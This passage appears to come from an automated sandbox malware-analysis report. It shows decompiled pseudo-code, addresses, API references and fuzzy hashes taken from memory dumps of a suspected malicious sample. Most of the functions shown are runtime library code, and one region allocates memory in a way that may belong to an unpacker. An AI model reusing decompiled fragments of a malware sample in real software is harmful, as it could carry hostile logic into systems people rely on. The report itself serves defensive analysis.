										_push(_t104);
										_push(1);
										_push(_t66);
										_t78 = E0115CCB7(_t86, _t108, _t110, __eflags);
										_t104 =  *(_t111 - 0x2c);
										_t112 = _t112 + 0x10;
										__eflags = _t104 - _t78;
										if(_t104 != _t78) {
											break;
										} else {
											_t66 =  *(_t111 - 0x28);
											_t92 =  *((intOrPtr*)(_t111 - 0x14));
											 *(_t111 - 0x30) = _t66;
											goto L26;
										}
									}
								}
								E01146E30(_t111 - 0x28, 1, 0);
								goto L34;
							}
						}
						_t80 = E0115B3C6(__eflags, _t86,  *(_t108 + 0x50)); // executed
						__eflags = _t80;
						if(_t80 == 0) {
							_t86 = _t110;
						}
						L5:
						goto L35;
					}
					_t105 =  *(__ecx + 0x30);
					__eflags = _t89 -  *_t105 + _t89;
					if(_t89 >=  *_t105 + _t89) {
						goto L6;
					}
					 *_t105 =  *_t105 - 1;
					__eflags =  *_t105;
					_t106 =  *(__ecx + 0x20);
					_t110 =  *_t106;
					 *_t106 = _t110 + 1;
					 *_t110 = _t86;
					goto L5;
				}
				goto L35;
			}

0x0115bba6
0x0115bbad
0x0115bbb2
0x0115bbb4
0x0115bbb7
0x0115bbbc
0x0115bbc8
0x0115bbca
0x0115bbcc
0x0115bbee
0x0115bbee
0x0115bbf2
0x0115bd29
0x0115bd2b
0x0115bd30
0x0115bd30
0x0115bbfa
0x0115bc01
0x0115bc04
0x0115bc1f
0x0115bc22
0x0115bc29
0x0115bc2c
0x0115bc2f
0x0115bc34
0x0115bc34
0x0115bc34
0x0115bc38
0x0115bc38
0x0115bc38
0x0115bc3b
0x0115bc3e
0x0115bc41
0x0115bc41
0x0115bc44
0x0115bc46
0x0115bc46
0x0115bc49
0x0115bc4c
0x0115bc4f
0x0115bc54
0x0115bc54
0x0115bc7a
0x0115bc7d
0x0115bc80
0x0115bc82
0x00000000
0x00000000
0x0115bc88
0x0115bc8b
0x0115bd05
0x0115bd08
0x00000000
0x00000000
0x0115bd10
0x0115bd17
0x0115bd19
0x00000000
0x00000000
0x0115bd1b
0x0115bd1b
0x00000000
0x0115bd1b
0x0115bc8d
0x0115bc90
0x0115bc93
0x0115bc96
0x0115bc99
0x0115bca3
0x0115bc9b
0x0115bc9b
0x0115bc9b
0x0115bca9
0x0115bca9
0x0115bcac
0x0115bcaf
0x0115bcd8
0x0115bcdb
0x0115bcdf
0x0115bce2
0x0115bce5
0x00000000
0x00000000
0x0115bce7
0x0115bce9
0x00000000
0x00000000
0x0115bcef
0x0115bcf3
0x00000000
0x00000000
0x0115bcf5
0x0115bcfb
0x00000000
0x0115bcb1
0x0115bcb1
0x0115bcb4
0x0115bcb6
0x0115bcb6
0x0115bcb9
0x0115bcbc
0x0115bcbd
0x0115bcbf
0x0115bcc0
0x0115bcc5
0x0115bcc8
0x0115bccb
0x0115bccd
0x00000000
0x0115bccf
0x0115bccf
0x0115bcd2
0x0115bcd5
0x00000000
0x0115bcd5
0x0115bccd
0x0115bcaf
0x0115bd24
0x00000000
0x0115bd24
0x0115bc38
0x0115bc0a
0x0115bc11
0x0115bc13
0x0115bc15
0x0115bc15
0x0115bbe7
0x00000000
0x0115bbe7
0x0115bbce
0x0115bbd5
0x0115bbd7
0x00000000
0x00000000
0x0115bbd9
0x0115bbd9
0x0115bbdb
0x0115bbde
0x0115bbe3
0x0115bbe5
0x00000000
0x0115bbe5
0x00000000

Strings

, xrefs: 0115BCEF

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 9f7c186c19aad54b5c996f6d654b3059a0e0d54a99b2298ef885847d255efa01
Instruction ID: f4a3536582f94d95f531226b81e97feaa399f6d64e1f56f0c61235d589ecc27a
Opcode Fuzzy Hash: 9f7c186c19aad54b5c996f6d654b3059a0e0d54a99b2298ef885847d255efa01
Instruction Fuzzy Hash: 40516E75A0820AEFDF5DDFA8C4909EDBBB6BF08314F144029DD21A7641D731A584CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 011452E0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E011452E0(void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v16;
				void* _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr _v40;
				char _v52;
				signed int _t33;
				char _t37;
				void* _t41;
				void* _t51;
				void* _t69;
				void* _t70;

				_push(0xffffffff);
				_push(E0115E938);
				_push( *[fs:0x0]);
				_t33 =  *0x1169060; // 0x43153b94
				_push(_t33 ^ _t71);
				 *[fs:0x0] =  &_v16;
				E0115AC4C(_t51,  &_v36, _t69, 0);
				_v8 = 0;
				_t37 =  *0x116aa60; // 0xa3a480
				_v20 = _t37;
				_v32 = E01146220(0x116b8b4);
				_push(_v32);
				_v24 = E01146970(_a4);
				if(_v24 == 0) {
					__eflags = _v20;
					if(_v20 == 0) {
						_t41 = E01146830(_t51, _t69, _t70,  &_v20, _a4); // executed
						__eflags = _t41 - 0xffffffff;
						if(__eflags != 0) {
							_v24 = _v20;
							 *0x116aa60 = _v20;
							_v28 = _v20;
							 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 4))))();
							_push(_v28);
							E0115B150(__eflags);
						} else {
							_push("bad cast");
							E01149FDC( &_v52);
							E0114A12A( &_v52, 0x1167380);
						}
					} else {
						_v24 = _v20;
					}
				}
				_v40 = _v24;
				_v8 = 0xffffffff;
				E0115ACA7( &_v36);
				 *[fs:0x0] = _v16;
				return _v40;
			}

0x011452e3
0x011452e5
0x011452f0
0x011452f4
0x011452fb
0x011452ff
0x0114530a
0x0114530f
0x01145316
0x0114531b
0x01145328
0x0114532e
0x01145337
0x0114533e
0x01145342
0x01145346
0x01145358
0x01145360
0x01145363
0x01145385
0x0114538b
0x01145394
0x011453a2
0x011453a7
0x011453a8
0x01145365
0x01145365
0x0114536d
0x0114537b
0x0114537b
0x01145348
0x0114534b
0x0114534b
0x01145346
0x011453b3
0x011453b6
0x011453c0
0x011453cb
0x011453d6

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0114530A

Part of subcall function 01146220: std::_Lockit::_Lockit.LIBCPMT ref: 01146236

Strings

bad cast, xrefs: 01145365

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: LockitLockit::_std::_
String ID: bad cast
API String ID: 3382485803-3145022300
Opcode ID: 30d262076f419274fa9885bddc6ce59ff80f3db6fc033fa0273a532c7f920e72
Instruction ID: 79680bbb1080d34ef17b943268a0462e90ec5262dffe46fe860d5de03617b2dd
Opcode Fuzzy Hash: 30d262076f419274fa9885bddc6ce59ff80f3db6fc033fa0273a532c7f920e72
Instruction Fuzzy Hash: 66314BB5D0420ADFCB0CDFA4D981AEEB7B5FF48714F104229E522A7390DB716A40CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 003F002D, Relevance: 4.9, APIs: 3, Instructions: 387
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,003F0005), ref: 003F00E9
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,003F0005), ref: 003F0111

Memory Dump Source

Source File: 00000000.00000002.202006890.00000000003F0000.00000040.00000001.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_PHvqpLRfRl.jbxd

Yara matches

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID:
API String ID: 2032221330-0
Opcode ID: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction ID: 47b82a0a4de7442c44b5f0467c861af39477929f791ddcb306187e55c59ea7cf
Opcode Fuzzy Hash: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction Fuzzy Hash: 91D1E175A0430A9FDB29CF6DC88077AB3E0FF84308F19452DEA959B242E774E845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0115C5BB, Relevance: 3.2, APIs: 2, Instructions: 187
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E0115C5BB(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t56;
				intOrPtr _t60;
				signed int _t63;
				signed int _t64;
				signed int _t69;
				signed int _t70;
				intOrPtr _t72;
				signed int _t83;
				signed int _t84;
				void* _t89;
				void* _t90;
				signed int _t92;
				intOrPtr _t93;
				signed int _t102;
				void* _t108;
				signed int _t112;
				signed int _t114;
				signed int _t115;
				signed int _t117;
				signed int _t118;
				intOrPtr* _t119;
				void* _t120;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t130;

				_t108 = __edx;
				_push(0x20);
				_push(0x1167a88);
				E0114B2A0(__ebx, __edi, __esi);
				_t92 = 0;
				 *(_t120 - 0x1c) = 0;
				_t114 = 0;
				_t111 =  *(_t120 + 0xc);
				if( *(_t120 + 0xc) == 0) {
					_t92 = 0xffffffff;
					__eflags = 0xffffffff;
					L15:
					_push(_t114);
					_t111 =  *(_t120 + 8);
					_push(_t111); // executed
					_t56 = E0114CA66(_t92, _t108, _t111, _t114, __eflags); // executed
					 *(_t120 + 0xc) = _t56;
					E01149EF7(_t114);
					_t122 = _t121 + 0xc;
					_t115 =  *(_t120 + 0xc);
					__eflags = _t115;
					if(_t115 == 0) {
						L7:
						L36:
						return E0114B2E5(0);
					}
					_t60 = E0114C25F();
					 *((intOrPtr*)(_t120 - 0x24)) = _t60;
					 *((intOrPtr*)(_t120 - 0x30)) =  *((intOrPtr*)(_t60 + 0x6c));
					 *((intOrPtr*)(_t120 - 0x2c)) =  *((intOrPtr*)(_t60 + 0x68));
					 *(_t120 - 0x1c) =  *(_t120 - 0x1c) & 0x00000000;
					_t63 = E0115D67C(_t92,  *((intOrPtr*)(_t60 + 0x68)), _t108, _t120 - 0x1c, 0, 0, _t115, 0, _t120 - 0x30);
					_t123 = _t122 + 0x18;
					_t64 = _t63;
					__eflags = _t64;
					if(_t64 == 0) {
						L21:
						_push( *(_t120 - 0x1c) + 4);
						_t117 = E0114B206(_t108, _t130);
						 *(_t120 - 0x28) = _t117;
						_t118 = _t117;
						__eflags = _t118;
						if(_t118 == 0) {
							goto L7;
						}
						_t20 = _t118 + 4; // 0x4
						 *((intOrPtr*)(_t120 - 0x20)) = _t20;
						_t69 = E0115D67C(_t92, _t120 - 0x30, _t108, 0, _t20,  *(_t120 - 0x1c),  *(_t120 + 0xc), _t92, _t120 - 0x30);
						_t123 = _t123 + 0x18;
						_t70 = _t69;
						__eflags = _t70;
						if(_t70 == 0) {
							L27:
							_t119 =  *((intOrPtr*)(_t120 - 0x30));
							E01150E7E(_t92, _t111, 0xc);
							 *(_t120 - 4) =  *(_t120 - 4) & 0x00000000;
							_t112 = _t111 + _t111;
							__eflags =  *(_t119 + 0x18 + _t112 * 8);
							if(__eflags != 0) {
								asm("lock xadd [ecx], eax");
								if(__eflags == 0) {
									E01149EF7( *(_t119 + 0x18 + _t112 * 8));
								}
							}
							_t72 =  *((intOrPtr*)(_t120 - 0x24));
							__eflags =  *(_t72 + 0x70) & 0x00000002;
							if(( *(_t72 + 0x70) & 0x00000002) == 0) {
								__eflags =  *0x1169948 & 0x00000001;
								if(( *0x1169948 & 0x00000001) == 0) {
									__eflags =  *(_t119 + 0x18 + _t112 * 8);
									if( *(_t119 + 0x18 + _t112 * 8) != 0) {
										asm("lock xadd [eax], ebx");
										__eflags = _t92 == 1;
										if(_t92 == 1) {
											E01149EF7( *(_t119 + 0x18 + _t112 * 8));
										}
									}
								}
							}
							_t102 =  *(_t120 - 0x28);
							 *_t102 =  *_t119;
							 *(_t119 + 0x18 + _t112 * 8) = _t102;
							_t93 =  *((intOrPtr*)(_t120 - 0x20));
							 *((intOrPtr*)(_t119 + 0x10 + _t112 * 8)) = _t93;
							 *(_t120 - 4) = 0xfffffffe;
							E0115C796();
							_push(_t93);
							_pop(0);
							goto L36;
						}
						__eflags = _t70 - 0x16;
						if(_t70 == 0x16) {
							L25:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							L5:
							E0114B601(_t92, _t108);
							L6:
							_push(2);
							_push( *(_t120 - 0x1c));
							_t114 = E0114B1BE();
							if(_t114 != 0) {
								_t92 = _t92 | 0xffffffff;
								_t111 = 0;
								_t83 = E0115D3F7(0, _t114,  *(_t120 - 0x1c), 0, _t92);
								_t121 = _t123 + 0x14;
								_t84 = _t83;
								__eflags = _t84;
								if(__eflags == 0) {
									goto L15;
								}
								__eflags = _t84 - 0x16;
								if(_t84 == 0x16) {
									L11:
									_push(_t111);
									_push(_t111);
									_push(_t111);
									_push(_t111);
									_push(_t111);
									goto L5;
								}
								__eflags = _t84 - 0x22;
								if(_t84 != 0x22) {
									__eflags = _t84;
									if(__eflags == 0) {
										goto L15;
									}
									L13:
									E01149EF7(_t114);
									goto L7;
								}
								goto L11;
							}
							goto L7;
						}
						__eflags = _t70 - 0x22;
						if(_t70 != 0x22) {
							__eflags = _t70;
							if(_t70 != 0) {
								goto L13;
							}
							goto L27;
						}
						goto L25;
					}
					__eflags = _t64 - 0x16;
					if(_t64 == 0x16) {
						L19:
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						goto L5;
					}
					__eflags = _t64 - 0x22;
					if(_t64 != 0x22) {
						__eflags = _t64;
						if(_t64 != 0) {
							goto L7;
						}
						goto L21;
					}
					goto L19;
				}
				_t89 = E0115D3F7(_t120 - 0x1c, 0, 0, _t111, 0x7fffffff);
				_t123 = _t121 + 0x14;
				_t90 = _t89;
				if(_t90 == 0 || _t90 != 0x16 && _t90 != 0x22) {
					goto L6;
				} else {
					_push(_t92);
					_push(_t92);
					_push(_t92);
					_push(_t92);
					_push(_t92);
					goto L5;
				}
			}

0x0115c5bb
0x0115c5bb
0x0115c5bd
0x0115c5c2
0x0115c5c7
0x0115c5c9
0x0115c5cc
0x0115c5d1
0x0115c5d3
0x0115c650
0x0115c650
0x0115c653
0x0115c653
0x0115c654
0x0115c657
0x0115c658
0x0115c65d
0x0115c661
0x0115c666
0x0115c669
0x0115c66c
0x0115c66e
0x0115c613
0x0115c78d
0x0115c792
0x0115c792
0x0115c670
0x0115c675
0x0115c67b
0x0115c681
0x0115c684
0x0115c697
0x0115c69c
0x0115c69f
0x0115c69f
0x0115c6a1
0x0115c6bf
0x0115c6c5
0x0115c6cd
0x0115c6ce
0x0115c6d1
0x0115c6d1
0x0115c6d3
0x00000000
0x00000000
0x0115c6d9
0x0115c6dc
0x0115c6ed
0x0115c6f2
0x0115c6f5
0x0115c6f5
0x0115c6f7
0x0115c717
0x0115c717
0x0115c71c
0x0115c722
0x0115c726
0x0115c72c
0x0115c72e
0x0115c732
0x0115c736
0x0115c73c
0x0115c741
0x0115c736
0x0115c742
0x0115c745
0x0115c749
0x0115c74b
0x0115c752
0x0115c758
0x0115c75a
0x0115c75c
0x0115c760
0x0115c761
0x0115c767
0x0115c76c
0x0115c761
0x0115c75a
0x0115c752
0x0115c76f
0x0115c772
0x0115c774
0x0115c778
0x0115c77b
0x0115c77f
0x0115c786
0x0115c78b
0x0115c78c
0x00000000
0x0115c78c
0x0115c6f9
0x0115c6fc
0x0115c703
0x0115c705
0x0115c706
0x0115c707
0x0115c708
0x0115c709
0x0115c5fc
0x0115c5fc
0x0115c601
0x0115c601
0x0115c603
0x0115c60d
0x0115c611
0x0115c61a
0x0115c623
0x0115c626
0x0115c62b
0x0115c62e
0x0115c62e
0x0115c630
0x00000000
0x00000000
0x0115c632
0x0115c635
0x0115c63c
0x0115c63c
0x0115c63d
0x0115c63e
0x0115c63f
0x0115c640
0x00000000
0x0115c640
0x0115c637
0x0115c63a
0x0115c643
0x0115c645
0x00000000
0x00000000
0x0115c647
0x0115c648
0x00000000
0x0115c64d
0x00000000
0x0115c63a
0x00000000
0x0115c611
0x0115c6fe
0x0115c701
0x0115c70f
0x0115c711
0x00000000
0x00000000
0x00000000
0x0115c711
0x00000000
0x0115c701
0x0115c6a3
0x0115c6a6
0x0115c6ad
0x0115c6ad
0x0115c6ae
0x0115c6af
0x0115c6b0
0x0115c6b1
0x00000000
0x0115c6b1
0x0115c6a8
0x0115c6ab
0x0115c6b7
0x0115c6b9
0x00000000
0x00000000
0x00000000
0x0115c6b9
0x00000000
0x0115c6ab
0x0115c5e1
0x0115c5e6
0x0115c5e9
0x0115c5eb
0x00000000
0x0115c5f7
0x0115c5f7
0x0115c5f8
0x0115c5f9
0x0115c5fa
0x0115c5fb
0x00000000
0x0115c5fb

APIs

_mbstowcs_s.LIBCMT ref: 0115C5E1
_mbstowcs_s.LIBCMT ref: 0115C626

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: _mbstowcs_s
String ID:
API String ID: 3589190158-0
Opcode ID: 5b2b481c209f8ec6bc1ccedf0879f9dc2769e95843e223ef56ee72aa9fa0f221
Instruction ID: aa0186d2635d4c29a02c5b358b0e6a9e0f10d1ba5b5ec014e76a276678322916
Opcode Fuzzy Hash: 5b2b481c209f8ec6bc1ccedf0879f9dc2769e95843e223ef56ee72aa9fa0f221
Instruction Fuzzy Hash: C151E771D10316EBEB7D9EA88C80B6E7BACAF54758F140519E935E2281DB34E6408AE4

Uniqueness

Uniqueness Score: -1.00%

Function 01149F2F, Relevance: 3.1, APIs: 2, Instructions: 61
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E01149F2F(intOrPtr __ebx, void* __edx, void* __edi, void* __fp0) {
				void* __esi;
				void* __ebp;
				void* _t2;
				void* _t6;
				void* _t7;
				void* _t8;
				void* _t11;
				long _t18;
				void* _t22;
				long _t27;
				void* _t29;
				void* _t30;
				void* _t37;

				_t37 = __fp0;
				_t23 = __edi;
				_t22 = __edx;
				_t14 = __ebx;
				_t29 = _t30;
				_t27 =  *(_t29 + 8);
				if(_t27 > 0xffffffe0) {
					_push(_t27);
					E0114AE59(_t2);
					 *((intOrPtr*)(E0114C460(__eflags))) = 0xc;
					__eflags = 0;
				} else {
					_push(__ebx);
					_push(__edi);
					while(1) {
						_t6 =  *0x116ae04; // 0xa20000
						_t7 = _t6;
						if(_t7 == 0) {
							E0114D5E8();
							E0114D645(_t14, _t22, _t23, _t27, _t37, 0x1e);
							E0114AEC0(0xff);
							_t7 =  *0x116ae04; // 0xa20000
						}
						_t27 = _t27;
						if(_t27 == 0) {
							_t18 = 1;
							__eflags = 1;
						} else {
							_t18 = _t27;
						}
						_t8 = RtlAllocateHeap(_t7, 0, _t18); // executed
						_t23 = _t8;
						if(_t23 != 0) {
							break;
						}
						_t14 = 0xc;
						if( *0x116b438 == _t8) {
							 *((intOrPtr*)(E0114C460(__eflags))) = _t14;
							goto L12;
						} else {
							_push(_t27);
							_t11 = E0114AE59(_t8);
							_t36 = _t11;
							if(_t11 != 0) {
								continue;
							} else {
								L12:
								 *((intOrPtr*)(E0114C460(_t36))) = _t14;
							}
						}
						break;
					}
					_push(_t23);
					_pop(0);
				}
				return 0;
			}

0x01149f2f
0x01149f2f
0x01149f2f
0x01149f2f
0x01149f31
0x01149f33
0x01149f39
0x01149faa
0x01149fab
0x01149fb6
0x01149fbc
0x01149f3b
0x01149f3b
0x01149f3c
0x01149f3d
0x01149f3d
0x01149f42
0x01149f44
0x01149f46
0x01149f4d
0x01149f57
0x01149f5c
0x01149f62
0x01149f63
0x01149f65
0x01149f6d
0x01149f6d
0x01149f67
0x01149f67
0x01149f67
0x01149f72
0x01149f7a
0x01149f7c
0x00000000
0x00000000
0x01149f80
0x01149f87
0x01149f9b
0x00000000
0x01149f89
0x01149f89
0x01149f8a
0x01149f90
0x01149f92
0x00000000
0x01149f94
0x01149f9d
0x01149fa2
0x01149fa2
0x01149f92
0x00000000
0x01149f87
0x01149fa4
0x01149fa5
0x01149fa7
0x01149fc0

APIs

__FF_MSGBANNER.LIBCMT ref: 01149F46

Part of subcall function 0114D645: GetModuleFileNameW.KERNEL32(?,0116AE42,00000104,?,00000001,011442F1), ref: 0114D6D7

Part of subcall function 0114AEC0: ExitProcess.KERNEL32 ref: 0114AECF

RtlAllocateHeap.NTDLL(00A20000,00000000,00000001,?,?,?,?,011442F1,00003DB9), ref: 01149F72

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: AllocateExitFileHeapModuleNameProcess
String ID:
API String ID: 1715456479-0
Opcode ID: 7e3997720a7a1bae98826816df26f9aa0726d28bb6876490d2b1aaa4a96f96d5
Instruction ID: 19f514844b780be39b4fce1d6d5f9f38301becab226277b059109879e6ef6e86
Opcode Fuzzy Hash: 7e3997720a7a1bae98826816df26f9aa0726d28bb6876490d2b1aaa4a96f96d5
Instruction Fuzzy Hash: F901F53224521AAFE72D2B74FC40A6F2B49DF65E6DF120036E116EB084DB754C4182E6

Uniqueness

Uniqueness Score: -1.00%

Function 00811D10, Relevance: 1.6, APIs: 1, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.202137086.0000000000811000.00000020.00000001.sdmp, Offset: 00811000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_811000_PHvqpLRfRl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b5507f2bdce96463ec5ea2fc6344e354f5427872ae1274b4440cc528b3b050a
Instruction ID: 01fa380e90aba93c3e9bd05548a128df92574719c9112489f340d0b4c328f9b3
Opcode Fuzzy Hash: 7b5507f2bdce96463ec5ea2fc6344e354f5427872ae1274b4440cc528b3b050a
Instruction Fuzzy Hash: 5841B574A04209AFDB44CF84D494BEAB7B6FF88314F24C199E9199B355C775EE82CB80

Uniqueness

Uniqueness Score: -1.00%

Function 011485C0, Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E011485C0(intOrPtr __ecx) {
				signed int _t17;
				intOrPtr _t22;
				void* _t25;
				signed int _t34;
				void* _t35;

				_t34 = _t35;
				_push(0xffffffff);
				_push(E0115EBE8);
				_push( *[fs:0x0]);
				_t17 =  *0x1169060; // 0x43153b94
				_t18 = _t17 ^ _t34;
				_push(_t17 ^ _t34);
				 *[fs:0x0] = _t34 - 0xc;
				 *((intOrPtr*)(_t34 - 0x10)) = __ecx;
				 *((intOrPtr*)(_t34 - 0x14)) = E01147A30( *((intOrPtr*)(_t34 - 0x10)), _t34 - 0x1c);
				 *((intOrPtr*)(_t34 - 0x18)) =  *((intOrPtr*)(_t34 - 0x14));
				 *((intOrPtr*)(_t34 - 4)) = 0;
				_t22 = E011452E0(_t18,  *((intOrPtr*)(_t34 - 0x18))); // executed
				 *((intOrPtr*)(_t34 - 0x20)) = _t22;
				 *((intOrPtr*)(_t34 - 4)) = 0xffffffff;
				E01145F80(_t34 - 0x1c);
				_t25 = E01148640( *((intOrPtr*)(_t34 - 0x20)),  *(_t34 + 8) & 0x000000ff);
				 *[fs:0x0] =  *((intOrPtr*)(_t34 - 0xc));
				return _t25;
			}

0x011485c2
0x011485c3
0x011485c5
0x011485d0
0x011485d4
0x011485d9
0x011485db
0x011485df
0x011485e5
0x011485f4
0x011485fa
0x011485fd
0x01148608
0x01148610
0x01148613
0x0114861d
0x0114862a
0x01148632
0x0114863d

APIs

std::ios_base::getloc.LIBCPMTD ref: 011485EF

Part of subcall function 011452E0: std::_Lockit::_Lockit.LIBCPMT ref: 0114530A

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: LockitLockit::_std::_std::ios_base::getloc
String ID:
API String ID: 854573419-0
Opcode ID: 73ef0d3444734c113c29bcf51bb65c1c99d39a059dd843e292ecc3f7790c6576
Instruction ID: 8df8828cb2365a967b5e0625b96fd4b78f8fbc3962b04416be055ec6bbc4080f
Opcode Fuzzy Hash: 73ef0d3444734c113c29bcf51bb65c1c99d39a059dd843e292ecc3f7790c6576
Instruction Fuzzy Hash: FD011AB2D04159DFCB48DF94D840BEFBBB9FB09714F10426AE425A7680D7355A00CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0115B49B, Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E0115B49B(void* __ecx, void* __esi, void* __eflags, void* __fp0) {
				void* _t28;
				void* _t33;
				intOrPtr* _t35;
				void* _t36;
				void* _t41;

				_t41 = __fp0;
				_push(8);
				E01156239(E0115EC80, _t28, _t33, __esi);
				_pop(_t35);
				 *((intOrPtr*)(_t36 - 0x14)) = _t35;
				 *(_t36 - 0x10) =  *(_t36 - 0x10) & 0x00000000;
				if( *((intOrPtr*)(_t36 + 0x10)) != 0) {
					 *_t35 = 0x11660e0;
					 *((intOrPtr*)(_t35 + 8)) = 0x1166094;
					 *(_t36 - 4) =  *(_t36 - 4) & 0x00000000;
					 *(_t36 - 0x10) = 1;
				}
				_push( *((intOrPtr*)(_t36 + 0xc)));
				_push( *((intOrPtr*)(_t36 + 8)));
				 *((intOrPtr*)(_t35 +  *((intOrPtr*)( *_t35 + 4)))) = 0x11660dc;
				_t14 =  *((intOrPtr*)( *_t35 + 4)) - 8; // -8
				 *((intOrPtr*)( *((intOrPtr*)( *_t35 + 4)) + _t35 - 4)) = _t14;
				E0115BB5D(_t28, _t33,  *((intOrPtr*)( *_t35 + 4)) + _t35, _t41); // executed
				return E01156216(_t35);
			}

0x0115b49b
0x0115b49b
0x0115b4a2
0x0115b4a8
0x0115b4a9
0x0115b4ac
0x0115b4b4
0x0115b4b6
0x0115b4bc
0x0115b4c3
0x0115b4c7
0x0115b4c7
0x0115b4d0
0x0115b4d3
0x0115b4d9
0x0115b4e5
0x0115b4e8
0x0115b4f3
0x0115b4ff

APIs

__EH_prolog3.LIBCMT ref: 0115B4A2

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 66f39e3a2d641673d123df252e6fd461a0b70495dac8c6d61201245d39fc5e51
Instruction ID: 46d6ac6185d3c3e14a4bc7f560cfb1e3a53be8701dcc7cee95937557ee279a8a
Opcode Fuzzy Hash: 66f39e3a2d641673d123df252e6fd461a0b70495dac8c6d61201245d39fc5e51
Instruction Fuzzy Hash: 41013774604219CFDB69CF48C644B9DBBF5BF18318F10C80DE9A95B350C3B2AA50CB80

Uniqueness

Uniqueness Score: -1.00%

Function 008127B0, Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 008127D9

Memory Dump Source

